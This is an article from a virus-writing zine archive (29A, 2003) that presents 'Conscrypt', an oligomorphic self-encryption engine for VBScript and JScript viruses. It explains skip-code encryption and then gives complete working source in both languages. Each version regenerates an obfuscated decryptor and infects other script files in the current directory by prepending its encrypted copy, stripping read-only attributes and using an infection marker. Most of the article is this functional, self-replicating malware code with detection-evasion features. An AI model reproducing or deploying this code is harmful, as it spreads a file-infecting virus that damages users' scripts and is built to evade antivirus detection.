Maximize
Bookmark

VX Heaven

Library Collection Sources Engines Constructors Simulators Utilities Links Forum

Self-crypting script files

roy g biv
29a [7]
February 2003

1
[Back to index] [Comments]

Why not?

When thinking about the number of encrypted macro viruses, it is strange that there are not so many encrypted script viruses. I have no answer for why it is so. ;) Anyway, here I present a simple engine for encrypting VBScript and JScript files. It uses a variable skip-code encryption with oligomorphic decryptor. The cryptor supports variable spacing, random variable names, random variable case, random keyword case (VBScript only), and variable skip-codes with constant packet size. It can be used recursively, too.

How?

The difficulty of self-crypting scripts is because of needing the decrypted source in order to encrypt it again. The problem is then how to get decrypted source? There are two options here: the first is to rebuild the source at runtime, but this is not always easy and we want a simple engine. The second option is to decrypt the encrypted source, but this is easy only when the structure is weak (easy to find and easy to parse). This second is the option that we use here.

Skip-codes (constant)

Constant skip-code encryption is simply that our character is every nth character in a string (s), where n is the value of the skip code. A plain string has n equal to 1, so our character is every character in the string. To encrypt is to increase the value of n, and fill the unused characters by random values. First, n=1:

    this is our string

Then n=2, and unused characters are set to !:

    !t!h!i!s! !i!s! !o!u!r! !s!t!r!i!n!g

and is accessed by this VBScript code:

for i = n to len(s) step n
        d = d + mid(s, i, 1)
next
 

or this JScript code:

d = ""
for (i = n - 1; i < s.length; i += n)
        d = d + s.charAt(i)
 

Skip-codes (variable)

Variable skip-code encryption is also that our character is every nth byte in a string, but now n can be a different value for every character. This is implemented by storing the characters in "packets" which contain the value of n. The packet size (p) can be either constant or variable. An example of constant packet size (p=3), with n as the first character in each packet, could look like this:

    1t!2!h1i!2!s1 !2!i1s!2! 1o!2!u1r!2! 1s!2!t1r!2!i1n!2!g

In this example, the value of n alternates between 1 and 2. It is accessed by this VBScript code:

for i = 1 to len(s) step p
        d = d + mid(s, i + mid(s, i, 1), 1)
next
 

or this JScript code:

d = ""
for (i = 0; i < s.length; i += p)
        d = d + s.charAt(i + (s.charAt(i) & 15))
 

"charAt(i) & 15" is fewer bytes than "charCodeAt(i) - 48", for same result.

Variable packet size can be implemented by also storing the packet size in the packet. An example of variable packet size, with p as the first character in each packet, and n as the second character in each packet, could look like this:

    32t!22h33!i22s32 !22i33!s22 32o!22u33!r22 32s!22t33!r22i32n!22g

In this example, the value of both p and n alternate between 2 and 3. It is accessed by this VBScript code:

for i = 1 to len(s)
        d = d + mid(s, i + mid(s, i + 1, 1), 1)
        i = i + mid(s, i, 1)
next
 

or this JScript code:

d = ""
for (i = 0; i < s.length; i++)
{
        d = d + s.charAt(i + (s.charAt(i + 1) & 15))
        i = i + (s.charAt(i) & 15)
}
 

The value of p (at mid(s, i, 1)) is 1 less than the real packet size because the for loop will increment i automatically.

And then...

No matter how good is the encryption, the weak link is the decryptor. If the decryptor is extremely complex, or unique in some way, then no-one will bother with the encrypted code and will simply detect the decryptor itself. In the world of scripts, where encryption is more common, we can use a simple decryptor with little risk, because some harmless ones might look like ours. Also, this decryptor can be layered, but then it takes a long time to decrypt, and only the first layer is variable.

Let's see the code. It requires only WSH v3+ because no new features are used. First is VBScript version.

'Conscrypt - roy g biv 01/02/03
dim loff,newl
set fso=createobject("scripting.filesystemobject")
set file=fso.opentextfile(wscript.scriptfullname)
bann=file.readline
oldl=file.readline
file.close

randomize
dospc 1

rcase 8
v1=nvar
outch"("
v2=nvar
outch")"                                        'function aaaaa(bbbbb)

outch":"

rcase 3
v3=nvar
outch"="
outch"1"
rcase 2
rcase 3
outch"("
outv v2
outch")"
rcase 4
v5=mid(oldl,loff,1)                             'old packet size
v6=int(rnd*7)+2                                 'new data size: 2-8
                                               'if you do not use ! character, then line can be
                                               'v6=int(rnd*7)+2        '1-8
outch cstr(v6+1)                                'for ccccc=1 to len(bbbbb) step x

outch":"

v4=nvar
outch"="
rcase 4
outch"("
rcase 3
outch"("
outv v2
outch","
outv v3
outch","
outch"1"
outch")"
outch")"                                        'ddddd=cint(mid(bbbbb,ccccc,1))

outch":"

outv v1
outch"="
outv v1
outch"+"
rcase 3
outch"("
rcase 3
outch"("
rcase 3
outch"("
outv v2
outch","
outv v3
outch"+"
outv v4
outch","
outch"1"
outch")"
outch")"
outch"-"
outv v4
outch")"                                        'aaaaa=aaaaa+chr(asc(mid(bbbbb,ccccc+ddddd,1))-ddddd)

outch":"

rcase 4                                         'next

outch":"

rcase 3
rcase 8                                         'end function

outch":"

rcase 7
outch"("
outv v1
outch"("
outch chr(34)
cb=instr(mid(oldl,loff),chr(34))

for loff=loff to loff+cb-v5 step v5
  oldkey=cint(mid(oldl,loff,1))
  do
    nkey=int(rnd*v6)+1
    c=asc(mid(oldl,loff+oldkey,1))-oldkey+nkey
  loop while c=34or c>127                       'no " or 8-bit chars
 newl=newl+cstr(nkey)
  for kl=2to nkey
    newl=newl+rchar
  next
  newl=newl+chr(c)
  for kl=kl to v6
    newl=newl+rchar
  next
next
outch chr(34)
outch")"
outch")"                                        'execute(aaaaa("encrypted code"))

set dir=fso.getfolder(".")                      'demo version, current directory only
for each item in dir.files
  if lcase(fso.getextensionname(item))="vbs"then
    err=0
    set inf=fso.opentextfile(item,1)            'open potential victim
   if err.number=0then
      fst=inf.read(1)                           'read first character
     if fst<>"'"then                           'check for infection marker
       rest=inf.readall                        'read entire file
       attr=item.attributes                    'save attributes
       item.attributes=0                       'remove any read-only attribute
       err=0
        set outf=fso.opentextfile(item,2)       'open file for writing
       if err.number=0then
          outf.writeline(bann)                  'prepend banner
         outf.writeline(newl)                  'prepend code
         outf.write(fst+rest)                  'append first character and host
         outf.close                            'close file (write mode)
       end if
        item.attributes=attr                    'restore attributes
     end if
      inf.close                                 'close file (read mode)
   end if
  end if
next

sub dospc(curoff)                               'replace space with random number of spaces
 if mid(oldl,curoff,1)=" "then
    newl=newl+space(rnd*5+1)
    while mid(oldl,curoff,1)=" "
      curoff=curoff+1
    wend
  end if
  loff=curoff
end sub

sub rcase(lineend)                              'random case switch on keywords
 for cb=loff to loff+lineend-1
    newl=newl+chr(asc(mid(oldl,cb,1))xor(int(rnd*2)*32))
  next
  dospc loff+lineend
end sub

function rchar                                  'random case letter
 rchar=chr(int(rnd*26)+65+int(rnd*2)*32)
end function

sub outv(tvar)                                  'variable followed by random number of spaces
 newl=newl+tvar
  dospc loff+instr(mid(oldl,loff)," ")-1
end sub

function nvar                                   'random sequence of random case letters
 while tv=v1 or tv=v2 or tv=v3 or tv=v4
    tv=""
    for cb=1to rnd*5+5                          '5-9 characters
     tv=tv+rchar
    next
  wend
  outv tv
  nvar=tv
end function

sub outch(ch)                                   'character followed by random number of spaces
 newl=newl+ch
  dospc loff+1
end sub
 

Now is JScript version.

//Conscrypt - roy g biv 01/02/03
fso=new ActiveXObject("scripting.filesystemobject")
with(inf=fso.opentextfile(WScript.scriptfullname))
{
  bann=readline()
  oldl=readline()
  close()
}

Math.random(1)
newl=""
dospc(0)

outv("function")
var v1=nvar(),v2,v3,v4,v5
outch("(")
v2=nvar()
outch(")")                                      //function aaaaa(bbbbb)

outch("{")

v3=nvar()
outch("=")
outv("\"\"")                                    //ccccc=""

outch(";")

outv("for")
outch("(")
v4=nvar()
outch("=")
outch("0")
outch(";")
outv(v4)
outch("<")
outv(v2)
outch(".")
outv("length")
outch(";")
outv(v4)
outv("+=")
v6=oldl.charAt(loff)                            //old packet size
v7=(Math.random()*7+2)&15                       //new data size: 2-8
                                                //if you do not use ! character, then line can be
                                                //v7=(Math.random()*8+1)&15     //1-8
outch(v7+1)
outch(")")                                      //for(ddddd=0;ddddd<bbbbb.length;ddddd+=x)

outch("{")

v5=nvar()
outch("=")
outv(v2)
outch(".")
outv("charAt")
outch("(")
outv(v4)
outch(")")
outch("&")
outv("15")                                      //eeeee=bbbbb.charAt(ddddd)&15

outch(";")

outv(v3)
outv("+=")
outv("String")
outch(".")
outv("fromCharCode")
outch("(")
outv(v2)
outch(".")
outv("charCodeAt")
outch("(")
outv(v4)
outch("+")
outv(v5)
outch(")")
outch("-")
outv(v5)
outch(")")                                      //ccccc+=String.fromCharCode(bbbbb.charCodeAt(ddddd+eeeee)-eeeee)

outch("}")

outv("return")
outv(v3)                                        //return ccccc

outch("}")

outv("eval")
outch("(")
outv(v1)
outch("(")
outch('"')

for(ss=loff+oldl.substr(loff).search(/"/);loff<ss;loff+=v6&15)
{
  oldk=oldl.charAt(loff)&15
  do
  {
    nkey=(Math.random()*v7+1)&15
    cca=oldl.charCodeAt(loff+oldk)-oldk+nkey
  }
  while(cca==34||cca==92||cca>127)              //no " or \ or 8-bit chars
  newl+=nkey
  kl=0
  while(++kl<nkey)
    newl+=rchar()
  newl+=String.fromCharCode(cca)
  while(kl++<v7)
    newl+=rchar()
}

outch('"')
outch(")")
outch(")")                                      //eval(aaaaa("encrypted code"))

for(enu=new Enumerator(fso.getfolder(".").files);!enu.atEnd();enu.moveNext())
                                                //demo version, current directory only
  if(fso.getextensionname(item=enu.item()).toLowerCase()=="js")
    try
    {
      with(inf=fso.opentextfile(item,1))        //open potential victim
      {
        fst=read(1)                             //read first character, keep for later
        if(fst!="/")                            //check for infection marker
          try
          {
            rest=readall()                      //read entire file
            attr=item.attributes                //save attributes
            item.attributes=0                   //remove any read-only attribute
            with(outf=fso.opentextfile(item,2)) //open file for writing
            {
              writeline(bann)                   //prepend banner
              writeline(newl)                   //prepend code
              write(fst+rest)                   //append first character and host
              close()                           //close file (write mode)
            }
            item.attributes=attr                //restore attributes
          }
          catch(z)
          {
          }
        close()                                 //close file (read mode)
      }
    }
    catch(z)
    {
    }

function dospc(coff)                            //replace space with random number of spaces
{
  if(oldl.charAt(coff)==" ")
  {
    cb=0
    while(cb++<=Math.random()*5)
      newl+=" "
    while(oldl.charAt(coff)==" ")
      ++coff
  }
  loff=coff
}

/* JScript is case-sensitive so this function is not used
function rcase(lend)                            //random case switch on keywords
{
  for(cb=loff;cb<loff+lend;cb++)
    newl+=String.fromCharCode(oldl.charCodeAt(cb)^(Math.round(Math.random())*32))
  dospc(loff+lend)
}
*/


function rchar()                                //random case letter
{
  with(Math)return String.fromCharCode(random()*26+65+round(random())*32)
}

function outv(tvar)                             //variable or keyword followed by random number of spaces
{
  newl+=tvar
  dospc(loff+oldl.substr(loff).search(/ /))
}

function nvar()                                 //random sequence of random case letters
{
  do
  {
    tv=""
    cb=0
    while(++cb<Math.random()*5+6)               //5-9 characters
      tv+=rchar()
  }
  while(tv==v1||tv==v2||tv==v3||tv==v4||tv==v5)
  outv(tv)
  return tv
}

function outch(ch)                              //character followed by random number of spaces
{
  newl+=ch
  dospc(loff+1)
}
 

Greets to friendly people (A-Z):

Active - Benny - Obleak - Prototype - Ratter - Ronin - RT Fishel - The Gingerbread Man - Ultras - Vecna - VirusBuster - Whitehead

rgb/29A feb 2003
[email protected]
[Back to index] [Comments]
By accessing, viewing, downloading or otherwise using this content you agree to be bound by the Terms of Use! vxer.org aka vx.netlux.org
deenesitfrplruua